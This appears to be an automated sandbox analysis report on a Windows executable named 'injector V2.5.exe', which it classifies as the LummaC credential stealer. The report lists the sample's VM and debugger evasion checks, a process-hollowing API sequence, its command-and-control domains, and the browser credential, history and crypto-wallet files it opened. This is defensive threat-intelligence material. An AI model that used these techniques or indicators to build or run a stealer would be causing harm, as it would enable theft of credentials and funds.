Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00409D80	2_2_00409D80
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00421230	2_2_00421230
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00439B70	2_2_00439B70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0040DB17	2_2_0040DB17
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00408FA0	2_2_00408FA0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004233B0	2_2_004233B0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00405036	2_2_00405036
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0040B080	2_2_0040B080
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00420090	2_2_00420090
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004064B0	2_2_004064B0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0040D4B9	2_2_0040D4B9
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00409940	2_2_00409940
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00425D40	2_2_00425D40
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0040B550	2_2_0040B550
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043C910	2_2_0043C910
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00428530	2_2_00428530
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004091D0	2_2_004091D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00403980	2_2_00403980
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00439190	2_2_00439190
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00407AE0	2_2_00407AE0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004052E9	2_2_004052E9
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004202F0	2_2_004202F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00441A90	2_2_00441A90
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00406B40	2_2_00406B40
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0041F740	2_2_0041F740
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00440300	2_2_00440300
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043A720	2_2_0043A720
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043FF20	2_2_0043FF20
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00438F30	2_2_00438F30
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00406FD0	2_2_00406FD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00405FF0	2_2_00405FF0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00402F80	2_2_00402F80
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B3C0A0	2_2_00B3C0A0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B21000	2_2_00B21000
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B46800	2_2_00B46800
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B47840	2_2_00B47840
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B30190	2_2_00B30190
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B2A180	2_2_00B2A180
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B25930	2_2_00B25930
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B34910	2_2_00B34910
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B44170	2_2_00B44170
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B32AA0	2_2_00B32AA0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B39B80	2_2_00B39B80
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B37BD0	2_2_00B37BD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B36330	2_2_00B36330
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B47330	2_2_00B47330
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B3F340	2_2_00B3F340
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B3D4A0	2_2_00B3D4A0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B44CD0	2_2_00B44CD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B46CD0	2_2_00B46CD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B2CCC0	2_2_00B2CCC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B33440	2_2_00B33440
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B355F0	2_2_00B355F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B25540	2_2_00B25540
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B55E22	2_2_00B55E22
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B3DE70	2_2_00B3DE70
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B23E60	2_2_00B23E60
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B33F80	2_2_00B33F80
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B35F60	2_2_00B35F60

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: String function: 00B4CAF8 appears 35 times
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: String function: 00B49890 appears 63 times

Source: injector V2.5.exe

Static PE information: invalid certificate

Source: injector V2.5.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: injector V2.5.exe

Static PE information: Section: .coS ZLIB complexity 1.0003350020226538

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/0@3/2

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 2_2_00439B70 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

2_2_00439B70

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2108:120:WilError_03

Source: injector V2.5.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\injector V2.5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: injector V2.5.exe, 00000002.00000003.1798884983.0000000005AF8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: injector V2.5.exe

ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\injector V2.5.exe

File read: C:\Users\user\Desktop\injector V2.5.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\injector V2.5.exe "C:\Users\user\Desktop\injector V2.5.exe"
Source: C:\Users\user\Desktop\injector V2.5.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\injector V2.5.exe	Process created: C:\Users\user\Desktop\injector V2.5.exe "C:\Users\user\Desktop\injector V2.5.exe"
Source: C:\Users\user\Desktop\injector V2.5.exe	Process created: C:\Users\user\Desktop\injector V2.5.exe "C:\Users\user\Desktop\injector V2.5.exe"	Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: injector V2.5.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: injector V2.5.exe	Static PE information: section name: .00cfg
Source: injector V2.5.exe	Static PE information: section name: .coS

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B500FA push ecx; ret		0_2_00B5010D
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B500FA push ecx; ret		2_2_00B5010D

Source: injector V2.5.exe

Static PE information: section name: .text entropy: 6.9570693373870895

Source: C:\Users\user\Desktop\injector V2.5.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\injector V2.5.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

API coverage: 9.0 %

Source: C:\Users\user\Desktop\injector V2.5.exe TID: 5932

Thread sleep time: -270000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B4F680 FindFirstFileExW,	0_2_00B4F680
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B4F731 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00B4F731
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B4F680 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00B4F680

Source: injector V2.5.exe, 00000002.00000003.1923653498.000000000334C000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1923653498.000000000337E000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1929912011.000000000337E000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902650994.000000000337D000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1929912011.000000000334C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\injector V2.5.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 2_2_0043E730 LdrInitializeThunk,

2_2_0043E730

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_00B496AF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00B496AF

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B5D18D mov edi, dword ptr fs:[00000030h]	0_2_00B5D18D
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2D475 mov edi, dword ptr fs:[00000030h]	0_2_00B2D475
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2D07E mov edi, dword ptr fs:[00000030h]	0_2_00B2D07E
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B32C40 mov eax, dword ptr fs:[00000030h]	0_2_00B32C40
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B32C40 mov eax, dword ptr fs:[00000030h]	0_2_00B32C40
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2CD0A mov edi, dword ptr fs:[00000030h]	0_2_00B2CD0A
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2E93A mov edi, dword ptr fs:[00000030h]	0_2_00B2E93A
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2CD0A mov edi, dword ptr fs:[00000030h]	0_2_00B2CD0A
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2D6B8 mov edi, dword ptr fs:[00000030h]	0_2_00B2D6B8
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2D6B8 mov edi, dword ptr fs:[00000030h]	0_2_00B2D6B8
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2DA6C mov edi, dword ptr fs:[00000030h]	0_2_00B2DA6C
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B32B9B mov eax, dword ptr fs:[00000030h]	0_2_00B32B9B
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B32B9B mov eax, dword ptr fs:[00000030h]	0_2_00B32B9B
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2E350 mov edi, dword ptr fs:[00000030h]	0_2_00B2E350
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B32AA0 mov eax, dword ptr fs:[00000030h]	2_2_00B32AA0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B32AA0 mov eax, dword ptr fs:[00000030h]	2_2_00B32AA0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B32AA0 mov eax, dword ptr fs:[00000030h]	2_2_00B32AA0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B32AA0 mov eax, dword ptr fs:[00000030h]	2_2_00B32AA0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B32AA0 mov eax, dword ptr fs:[00000030h]	2_2_00B32AA0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B2CCC0 mov edi, dword ptr fs:[00000030h]	2_2_00B2CCC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B2CCC0 mov edi, dword ptr fs:[00000030h]	2_2_00B2CCC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B2CCC0 mov edi, dword ptr fs:[00000030h]	2_2_00B2CCC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B2CCC0 mov edi, dword ptr fs:[00000030h]	2_2_00B2CCC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B2CCC0 mov edi, dword ptr fs:[00000030h]	2_2_00B2CCC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B2CCC0 mov edi, dword ptr fs:[00000030h]	2_2_00B2CCC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B2CCC0 mov edi, dword ptr fs:[00000030h]	2_2_00B2CCC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B2CCC0 mov edi, dword ptr fs:[00000030h]	2_2_00B2CCC0

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_00B4CB10 GetProcessHeap,

0_2_00B4CB10

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B4902F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00B4902F
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B496A3 SetUnhandledExceptionFilter,	0_2_00B496A3
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B496AF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B496AF
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B4B79A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00B4B79A
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B4902F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00B4902F
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B496A3 SetUnhandledExceptionFilter,	2_2_00B496A3
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B496AF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00B496AF
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00B4B79A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00B4B79A

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_00B5D18D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_00B5D18D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\injector V2.5.exe

Memory written: C:\Users\user\Desktop\injector V2.5.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: injector V2.5.exe, 00000000.00000002.1695674213.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: injector V2.5.exe, 00000000.00000002.1695674213.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: injector V2.5.exe, 00000000.00000002.1695674213.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: injector V2.5.exe, 00000000.00000002.1695674213.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: injector V2.5.exe, 00000000.00000002.1695674213.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs
Source: injector V2.5.exe, 00000000.00000002.1695674213.000000000327A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: revirepart.biz

Source: C:\Users\user\Desktop\injector V2.5.exe

Process created: C:\Users\user\Desktop\injector V2.5.exe "C:\Users\user\Desktop\injector V2.5.exe"

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_00B498D5 cpuid

0_2_00B498D5

Source: C:\Users\user\Desktop\injector V2.5.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 0_2_00B49566 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00B49566

Source: C:\Users\user\Desktop\injector V2.5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\injector V2.5.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: injector V2.5.exe PID: 4928, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: injector V2.5.exe, 00000002.00000003.1849885737.00000000033F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: llets/ElectronCashK
Source: injector V2.5.exe, 00000002.00000003.1849885737.00000000033F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: injector V2.5.exe, 00000002.00000003.1849885737.00000000033F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: injector V2.5.exe, 00000002.00000003.1849885737.00000000033F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: injector V2.5.exe, 00000002.00000003.1849885737.00000000033F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\injector V2.5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
